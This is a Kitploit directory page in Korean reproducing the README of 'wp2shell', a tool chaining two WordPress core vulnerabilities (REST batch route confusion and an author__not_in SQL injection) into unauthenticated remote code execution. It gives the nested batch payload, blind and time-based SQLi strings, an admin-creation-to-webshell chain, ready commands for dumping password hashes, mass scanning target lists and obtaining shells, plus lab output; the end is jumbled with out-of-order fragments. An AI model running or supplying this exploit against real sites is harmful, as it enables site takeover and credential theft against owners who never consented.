Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
wp2shell — CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: WordPress 코어의 인증되지 않은 원격 코드 실행(RCE) | Kitploit
도구/GitHubGitHub/0xsha/wp2shell
Password CrackingVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRed TeamingPayload DevelopmentLabs & Practice
GitHub0xsha/wp2shell
9630171개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

wp2shell

CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: WordPress 코어의 인증되지 않은 원격 코드 실행(RCE)

저장소 보기

CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: WordPress 코어의 인증 없는 원격 코드 실행 (RCE)

REST API 배치 라우트 혼동(CVE-2026-63030)과 WP_Query author__not_in SQL 인젝션(CVE-2026-60137)의 체이닝 → 기본 WordPress 설치에 대한 인증 전 원격 코드 실행.

Adam Kues(Assetnote / Searchlight Cyber)가 발견, 2026-07-17 공개. 권고: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf.

체인 (인증 없는 RCE)WordPress 6.9.0 - 6.9.4 및 7.0.0 - 7.0.1
SQLi만 (보조 플러그인/테마 필요)6.8.0 - 6.8.5
영향 없음배치 혼동의 경우 ≤ 6.8; 6.9.5 / 7.0.2 / 7.1-beta2 (패치됨)
전제 조건REST API 접근 가능; 영구 객체 캐시 없음 (Redis/Memcached); ≥1개의 발행된 글
인증 필요없음
영향인증 없이 → 새 관리자 생성 → 코드 실행 (SQLi는 관리자 해시도 덤프)

데모

https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6

이 저장소가 제공하는 것

  • 여섯 개의 공개 PoC에서 가장 좋은 부분을 단일 파일로 통합한 독창적인 stdlib 전용 도구(wp2shell.py) - requests 의존성이 없고 깨진 기능도 없습니다.
  • 완전한 크랙 없는 RCE, 랩에서 종단 간 검증됨: 자격 증명이 없는 shell은 단일 글 UNION 혼동을 통해 가짜 WP_Post를 위조하고, 커스터마이저를 브리지하여 새 관리자(POST /wp/v2/users)를 만든 뒤 로그인하고 토큰 게이트 웹쉘을 설치합니다. SQLi 관리자 해시 덤프(read --preset users)는 검증된 두 번째 경로로 유지됩니다.
  • 주요 비파괴적 check로 사용되는 버전 독립적 혼동 탐지기(block_cannot_read).
  • 모든 명령에 프로덕션 전송 지원: 자체 서명 TLS, 커스텀 헤더, 커스텀 User-Agent, 프록시, 재시도, 요청 지연.
  • 다른 PoC에는 없는 검증된 6.8.x 보조 SQLi 경로(sqli).
  • 재현 가능한 Docker 랩과 버전별 DB 신뢰성 매트릭스, 모든 결과는 랩에서 검증됨.
  • 새로운 $wp$2y$ 비밀번호 해시를 위한 hashcat 모드(-m 35500).
root@kitploit:~
wp2shell/
├── README.md              ← you are here
├── wp2shell.py            ← the unified PoC (single file, stdlib only, by 0xsha)
└── lab/                   ← reproducible Docker labs + reliability matrix
    ├── docker-compose.yml         (default 6.9.4 lab)
    ├── docker-compose.matrix.yml  (parameterised: any version × MySQL/MariaDB)
    ├── docker-compose.sqli.yml    (6.8.3 "SQLi only" lab)
    ├── matrix.sh                  (runs the whole reliability matrix)
    └── sqli-only/facilitator.php  (mu-plugin: the 6.8.x facilitating sink)

이 도구가 참조하는 6개의 공개 PoC는 여기에 번들로 포함되지 않으며, 크레딧에 링크되어 있습니다.

아래의 모든 내용은 로컬 Docker 랩에서 검증되었습니다(§4 참조); 랩에서 실행되지 않은 항목은 그렇게 표시됩니다.


1. 취약점 상세 - 코드 심층 분석

이 체인은 두 개의 독립적인 버그를 결합합니다. 줄 번호는 실제 WordPress 6.9.4 소스(wordpress:6.9.4-apache에서 추출) 기준입니다.

버그 A - author__not_in SQL 인젝션 (CVE-2026-60137)

wp-includes/class-wp-query.php, WP_Query::get_posts():

root@kitploit:~
2403  if ( ! empty( $query_vars['author__not_in'] ) ) {
2404      if ( is_array( $query_vars['author__not_in'] ) ) {                 // ← guard only fires for ARRAYS
2405          $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406          sort( $query_vars['author__not_in'] );
2407      }
2408      $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );   // ← string passes straight through
2409      $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";  // ← raw interpolation
2410  } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415      $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) );  // ← absint INSIDE implode

문자열 author__not_in은 is_array() 가드(2404)를 건너뜁니다. implode(',', (array)"…")는 이를 변경 없이 반환하고(2408), SQL에 원시 문자열로 연결됩니다(2409). 형제인 author__in(2415)은 implode 내부에서 array_map('absint', …)을 다시 적용하므로 안전합니다. 바로 그 누락된 array_map 하나가 이 버그입니다. 값은 ... post_author NOT IN (<value>) ...로 들어가므로 0) <sql>-- -가 리스트를 닫고 SQL을 덧붙입니다.

문자열을 거기에 넣는 것이 어려운 부분입니다. REST 글 엔드포인트는 author_exclude → author__not_in(class-wp-rest-posts-controller.php:247)을 매핑하지만 정수 'type' => 'array'로 선언하므로 코어가 문자열을 강제 변환/거부합니다:

root@kitploit:~
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer."      (verified on 6.8.3)

그래서 버그 A만으로는 "보조" 단계에 불과합니다. 버그 B가 6.9+에서 문자열을 검증을 통과시켜 밀반입합니다.

버그 B - REST 배치 라우트 혼동 (CVE-2026-63030)

wp-includes/rest-api/class-wp-rest-server.php, serve_batch_request_v1():

root@kitploit:~
1720  if ( false === $parsed_url ) {
1721      $requests[] = new WP_Error( 'parse_path_failed', … );   // a bad path becomes a WP_Error IN $requests

1749  foreach ( $requests as $single_request ) {
1750      if ( is_wp_error( $single_request ) ) {
1752          $validation[] = $single_request;     // ← pushed to $validation …
1753          continue;                            // ← … but $matches is SKIPPED
1754      }
1757      $matches[] = $match;                     // ← $matches only grows for VALID requests

1825  foreach ( $requests as $i => $single_request ) {   // indexed by position in $requests
1841      $match = $matches[ $i ];                        // ← $matches is SHORTER → +1 shift
1861      $result = $this->respond_to_request( $single_request, $route, $handler, $error );

WP_Error 하위 요청은 $validation[](1752)에 푸시되지만 $matches[]에는 푸시되지 않습니다(1753의 continue가 1757을 건너뜀). 따라서 $matches가 짧아지고 $matches[$i](1841)는 다음 요청의 핸들러를 보유하게 됩니다. 요청 i는 요청 i+1의 핸들러로 디스패치되며, 자신의 파라미터와 (통과된) 검증 결과를 그대로 가집니다.

회귀 원인 (6.8.3 → 6.9.4 diff에서 검증): 6.8.3에서는 루프가 모든 요청에 대해 $matches[] = $match를 푸시하고 잘못된 경로는 첫 번째 루프에서 버려집니다 - 배열이 정렬된 상태로 유지되어 불일치가 없습니다. 6.9.0의 리팩터링에서 이 시프트가 도입되었습니다. 이것이 바로 6.8.x가 "SQLi 전용"이고 RCE 체인이 6.9.0부터 시작하는 이유입니다.

문서화된 수정 (6.9.5 / 7.0.2)

패치는 오류 항목에 대해서도 $matches[]를 추가하고, 재진입을 강화하며, author__not_in을 id-리스트 헬퍼로 파싱합니다. (테스트 시점에 6.9.5는 Docker Hub에 없었으므로 이 내용은 권고 문서 기준이며 랩 내 diff가 아닙니다.)


2. 공격 방법

2.1 이중 라우트 혼동

배치 스키마는 POST/PUT/PATCH/DELETE 하위 요청만 허용하지만, 글 get_items(author_exclude 싱크)는 GET 전용이므로 혼동을 두 번 중첩합니다:

root@kitploit:~
// OUTER batch → POST /wp-json/batch/v1
{"requests": [
  {"method":"POST","path":"///"},                       // [0] bad path → WP_Error → +1 shift
  {"method":"POST","path":"/wp/v2/posts",               // [1] carrier: validated as a posts CREATE →
     "body": { /* INNER batch */ }},                     //     its `requests` body is never schema-checked
  {"method":"POST","path":"/batch/v1",                  // [2] handler → [1] dispatched as serve_batch_request_v1
     "body":{"requests":[]}}                             //     (no permission_callback → unauthenticated)
]}
// INNER batch (GET now allowed):
//   [0] POST ///                                        WP_Error → inner +1 shift
//   [1] GET /wp/v2/users?author_exclude=<PAYLOAD>       users has no author_exclude → PAYLOAD passes untouched
//   [2] GET /wp/v2/posts                                [2]'s handler = posts get_items → runs [1] → SQLi

///는 불일치 프라이머입니다(wp_parse_url()이 거부하는 모든 경로가 작동합니다). 이 도구는 동일한 트릭의 --variant categories 버전도 제공합니다.

2.2 SQLi 없이 혼동 탐지

단일의 비파괴적이며 버전 독립적인 프로브는 SQLi 싱크가 객체 캐시되거나 WAF로 필터링된 경우에도 CVE-2026-63030을 확인합니다: 불일치로 인해 POST /wp/v2/posts가 블록 렌더러의 권한 콜백에 의해 응답되는 POST 하위 요청 배치입니다:

root@kitploit:~
responses[1].code == "block_cannot_read"    ← a permission error from a handler it never asked for

wp2shell.py check는 이를 기본 신호로 사용합니다(구조적 글-vs-분류 형태를 폴백으로). (탐지 기법: Hadrian / Icex0.)

2.3 인젝션에서 데이터 추출까지 (블라인드)

값은 NOT IN (<value>) 안에 위치하여 깔끔한 불리언 오라클을 제공합니다: 0) AND (<cond>)-- -는 <cond>가 참일 때만 행을 반환합니다. 추출은 ASCII(SUBSTRING(COALESCE((expr),''),n,1))에 대한 문자 단위 이진 탐색입니다(COALESCE는 NULL이 빈 읽기로 단락되는 것을 방지합니다).

랩 메모 - 시간 기반은 주의가 필요합니다. 기본 설치에서 단순한 0) OR SLEEP(n)-- -는 지연이 없습니다: 게시된 행이 먼저 쿼리를 충족하여 OR를 단락시키기 때문입니다. 확인은 결정론적 불리언 차등 비교를 사용하며, 타이밍은 0) AND (SELECT 1 FROM (SELECT SLEEP(n))_z)-- -를 사용합니다. 관측 결과 0.01초 vs 3.04초.

2.4 인젝션에서 셸까지 (RCE) - 크랙 불필요

실용적인 RCE는 비밀번호도 크래킹도 필요 없습니다. 자격 증명이 없는 shell은 전체 체인을 실행하며, 모두 랩에서 검증되었습니다:

  1. 가짜 WP_Post 프리미티브. 두 번째 혼동 변형은 깔끔한 UNION 가능 쿼리에 도달합니다: /wp/v2/posts/999999?orderby=none&per_page=500은 단일 글 항목 스키마에 대해 검증되므로(컬렉션 전용 파라미터는 검사 없이 통과), 글 컬렉션 핸들러로 불일치 디스패치됩니다. orderby=none은 끝의 ORDER BY를 제거하고 per_page=500은 WP_Query를 전체 행 모드로 유지하므로 UNION SELECT가 조작된 wp_posts 행으로 생존합니다.
  2. SQLi-투-커스터마이저 브리지. oembed_cache + customize_changeset(user_id를 UNION으로 읽은 기존 관리자의 ID로 설정) + nav_menu_item 행을 위조합니다. oEmbed를 트리거하면 커스터마이저 변경 세트가 그 관리자 권한으로 실행됩니다.
  3. 동일한 배치에서 가 포함된 가 빌려온 관리자 컨텍스트에서 성공하며, 새 관리자가 에 나타납니다(검증됨: 새 관리자 행).

이전 대안 (--user/--password). read --preset users가 wp_users.user_pass를 덤프하고(WordPress 6.9의 $wp$2y$… = HMAC-SHA384 위의 bcrypt; **hashcat -m 35500**으로 크랙), 그런 다음 shell --user/--password가 복구된 평문으로 로그인합니다. 실제로 작동하지만 bcrypt는 느리므로 위의 관리자 생성 체인이 표준 경로입니다.

2.5 6.8.x "SQLi 전용" 경로

6.8.x에는 버그 A가 있지만 버그 B가 없으며, 코어가 author_exclude를 정수 배열로 강제 변환하므로 SQLi는 WP_Query에 원시 문자열을 전달하는 보조 플러그인/테마를 통해서만 도달할 수 있습니다. sqli 하위 명령은 그러한 싱크에 직접 주입합니다(기본적으로 시간 기반; --true-contains로 빠른 불리언). 6.8.3의 lab/sqli-only 보조 플러그인에 대해 시연되었습니다.


3. 사용법

3.1 통합 PoC - wp2shell.py

단일 파일, Python 3.7+, 표준 라이브러리 전용. 모든 명령에 프로덕션 준비 전송 계층: --insecure(자체 서명 TLS), -H 'K: V'(반복 가능), --user-agent, --proxy, --retries, --delay.

root@kitploit:~
check   fingerprint + confusion marker + confirm the SQLi (non-destructive)
read    read the DB via blind SQLi     (--preset fingerprint|users | --query "SELECT …")
shell   RCE: admin login → token-gated plugin webshell → run commands (-i for a REPL)
sqli    author__not_in SQLi against a direct/facilitated sink (6.8.x, or any plugin sink)
scan    threaded vuln-check over a single URL OR a .txt list   (--prove, --json)
root@kitploit:~
./wp2shell.py check https://target
./wp2shell.py read  https://target --preset users            # logins + $wp$2y$ hashes (+ hashcat hint)
./wp2shell.py read  https://target --query "SELECT @@version"
./wp2shell.py shell https://target --cmd id                  # crack-free: creates an admin, then webshell
./wp2shell.py shell https://target -i                        # interactive shell
./wp2shell.py shell https://target --user admin --password '<cracked>' --cmd id   # or reuse an existing admin
./wp2shell.py scan  https://target --prove                   # single URL, extract @@version as proof
./wp2shell.py scan  targets.txt --threads 10 --json out.json # a .txt of targets
./wp2shell.py sqli  https://target --endpoint '/?plugin_route=1' --param author_not_in --true-contains ROWS:YES

# prod knobs: self-signed TLS, WAF header, Burp, rate-limit
./wp2shell.py check https://target --insecure -H 'X-Forwarded-For: 127.0.0.1' --proxy http://127.0.0.1:8080 --delay 0.2

3.2 랩

root@kitploit:~
# default vulnerable lab (WordPress 6.9.4 + MariaDB), http://localhost:8080
docker compose -f lab/docker-compose.yml up -d
docker compose -f lab/docker-compose.yml logs -f wpcli      # wait for "LAB READY"
./wp2shell.py check http://localhost:8080
docker compose -f lab/docker-compose.yml down -v

bash lab/matrix.sh                                           # full version × DB matrix

# "SQLi only" lab (6.8.3 + facilitating mu-plugin), http://localhost:8082
docker compose -f lab/docker-compose.sqli.yml up -d
./wp2shell.py sqli http://localhost:8082 --endpoint '/?wp2shell_faccheck=1' \
     --param author_not_in --true-contains ROWS:YES --preset fingerprint

랩 관리자는 admin / Admin!2345입니다 - 평문은 랩이 인증 후 shell을 시연할 수 있도록만 알려져 있습니다. 실제 공격자는 해시를 복구하여 크랙합니다.


4. 버전 및 DB 매트릭스 - 실제 테스트 내용

DB 범위는 MySQL 및 MariaDB로 제한됩니다 - WordPress 코어는 프로덕션에서 다른 엔진을 지원하지 않습니다(PostgreSQL/MSSQL 드라이버 없음; SQLite는 희귀 플러그인을 통해서만 가능).

모든 명령이 랩에서 실행됨: check(마커 block_cannot_read + 불리언 + 시간), read(fingerprint / users / --query), shell(크랙 없는 관리자 생성 → 로그인 → 웹쉘 → uid=33(www-data), 추가로 --user/--password 및 대화형 REPL), sqli(불리언 + 시간), scan(단일 URL + .txt + --json + --prove), --variant categories 페이로드, 엔드포인트 자동 감지(/wp-json/ + ?rest_route=), 전송 플래그.

root@kitploit:~
$ ./wp2shell.py check http://localhost:8080
[+] Batch endpoint reachable and unauthenticated (HTTP 207) at http://localhost:8080/wp-json/batch/v1
[+] Route confusion ACTIVE - categories request answered by the block-renderer handler (block_cannot_read); CVE-2026-63030 confirmed.
[+] SQL injection CONFIRMED - boolean-blind differential over author__not_in (CVE-2026-60137).
[+] Time-based channel also confirmed - baseline 0.02s vs injected 3.04s.

$ ./wp2shell.py read http://localhost:8080 --preset users
[+] 1|admin|$wp$2y$10$IUUVXuWQ45USOc/rkRAcduAEvyYmHNabvfWFBMq5ApR9RGau6Fxx.
[*] crack the $wp$2y$ hashes with:  hashcat -m 35500 …

$ ./wp2shell.py shell http://localhost:8080 --cmd id
[*] No credentials supplied - creating a fresh administrator pre-auth (no hash, no crack) ...
[+] Administrator created: wp2_950eeb3deda8 / Wp2!...  (borrowed admin id 1)
[+] Authenticated.
uid=33(www-data) gid=33(www-data) groups=33(www-data)

5. 크레딧

  • 취약점 연구 및 공개: Adam Kues - Assetnote / Searchlight Cyber("wp2shell"), 2026-07-17.
  • 권고: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf. 분석 문서: Rapid7, Beazley Labs, Hadrian(block_cannot_read 탐지 아이디어), VulnCheck.
  • 기법 크레딧(각각 wp2shell.py에서 처음부터 재구현되었으며 코드를 그대로 복사하지 않음):
    • attackercan/wp2shell-poc2 - 검증된 중첩 이중 혼동 코어, 블라인드 추출기, 토큰 게이트 웹쉘 + REPL.
    • sergiointel/wp2shell-poc - 크랙 없는 인증 전 관리자 생성 기법: 단일 글 라우트 혼동을 통해 가짜 WP_Post를 위조하고, oembed_cache + customize_changeset(user_id=admin) + nav_menu_item 그래프를 구동하여 커스터마이저가 기존 관리자 권한으로 실행되게 한 다음 로 새 관리자를 생성합니다.

법적 / 승인된 사용

승인된 보안 테스트 및 교육 목적으로만 - 소유한 시스템 또는 서면 승인을 받아 테스트할 수 있는 시스템. 여기의 모든 공격 코드는 로컬의 일회용 Docker 랩에서 실행되었습니다. 웹쉘은 토큰 게이트이며 기본 명령은 무해합니다. 이 도구를 어떻게 사용하는지에 대한 책임은 사용자에게 있습니다.

도구 다운로드
새 관리자 생성.
roles:["administrator"]
POST /wp/v2/users
wp2_*
wp_users
  • 로그인 + 웹쉘. 생성된 자격 증명으로 인증하고, update.php?action=upload-plugin을 통해 토큰 게이트 플러그인을 업로드하여 명령을 실행합니다. 검증됨: uid=33(www-data).
  • WordPressDB 엔진경로check추출된 데이터
    6.9.4MariaDB 11배치 체인✅ 전체 RCEadmin $wp$2y$… 해시 + @@version
    7.0.1MariaDB 11배치 체인✅ 전체 RCEadmin 해시
    6.9.4MySQL 8.4배치 체인✅ 전체 RCEadmin 해시 (페이로드 이식 가능)
    6.8.3MariaDB 11배치 체인⛔ 207이지만 혼동 없음- (권고와 일치)
    6.8.3MariaDB 11보조 sqli✅ CVE-2026-60137@@version, user, db - 불리언 및 시간 기반
    POST /wp/v2/users
  • Icex0/wp2shell-poc - 제가 적용한 해당 체인의 구현(union_inject 단일 글 혼동, UnionSQLi, PreAuthAdminCreator), block_cannot_read 마커 탐지기, NULL 안전 COALESCE 추출, 지터 내성 타이밍.
  • Senanfurkan/wordpress-cve-2026-63030 - 버전 핑거프린트/분류 및 구조적 라우트 혼동 테스트.
  • Lutfifakee-Project/wp2shell - 대량 스캐닝.
  • NULL200OK/WP2Shell - JSON 보고.
  • ekomsSavior/wp2shell - 대화형 UX 영감.
  • 해시 크래킹 모드($wp$2y$ → hashcat -m 35500): hashpwn / hashcat.